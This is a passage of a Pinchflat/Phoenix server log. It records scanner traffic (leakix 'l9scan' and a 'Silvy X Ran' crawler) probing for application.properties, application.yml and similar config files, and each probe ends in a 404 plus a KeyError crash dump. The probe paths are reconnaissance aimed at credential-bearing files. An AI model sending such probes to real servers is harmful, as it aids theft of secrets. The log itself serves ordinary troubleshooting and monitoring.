(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate" (truncated) 15:21:55.772 [info] OPTIONS / 15:21:55.772 [debug] QUERY OK source="settings" db=0.0ms idle=260.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.772 [debug] QUERY OK source="settings" db=0.0ms idle=247.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.772 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:55.772 [error] #PID<0.9696.0> running PinchflatWeb.Endpoint (connection #PID<0.9695.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: OPTIONS / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50630}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "OPTIONS", owner: #PID<0.9696.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBO3fNmUGqkYAAcsC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50630}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9695.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50630}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "OPTIONS", owner: #PID<0.9696.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBO3fNmUGqkYAAcsC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.E (truncated) 15:21:56.002 [info] GET /application.yml 15:21:56.003 [debug] QUERY OK source="settings" db=0.1ms idle=478.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.003 [debug] QUERY OK source="settings" db=0.0ms idle=238.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.003 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:56.003 [error] #PID<0.9698.0> running PinchflatWeb.Endpoint (connection #PID<0.9697.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /application.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50642}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9698.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBPuiEQX7bAMAActC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50642}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50642}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9698.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBPuiE (truncated) 15:21:56.242 [info] GET /application.yaml 15:21:56.242 [debug] QUERY OK source="settings" db=0.1ms idle=477.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.243 [debug] QUERY OK source="settings" db=0.0ms idle=470.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.243 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:56.243 [error] #PID<0.9700.0> running PinchflatWeb.Endpoint (connection #PID<0.9699.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /application.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50652}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9700.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBQnqfHhj8ZIAAcuC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50652}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9699.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50652}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9700.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMV (truncated) 15:21:56.480 [info] GET /application-dev.properties 15:21:56.480 [debug] QUERY OK source="settings" db=0.1ms idle=708.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.481 [debug] QUERY OK source="settings" db=0.0ms idle=477.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:56.481 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:56.481 [error] #PID<0.9702.0> running PinchflatWeb.Endpoint (connection #PID<0.9701.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /application-dev.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application-dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application-dev.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50666}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9702.0>, params: %{}, path_info: ["application-dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application-dev.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBRga-OzKH8MAAcvC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application-dev.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50666}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application-dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application-dev.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50666}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9702.0>, params: %{}, path_info: ["application-dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => 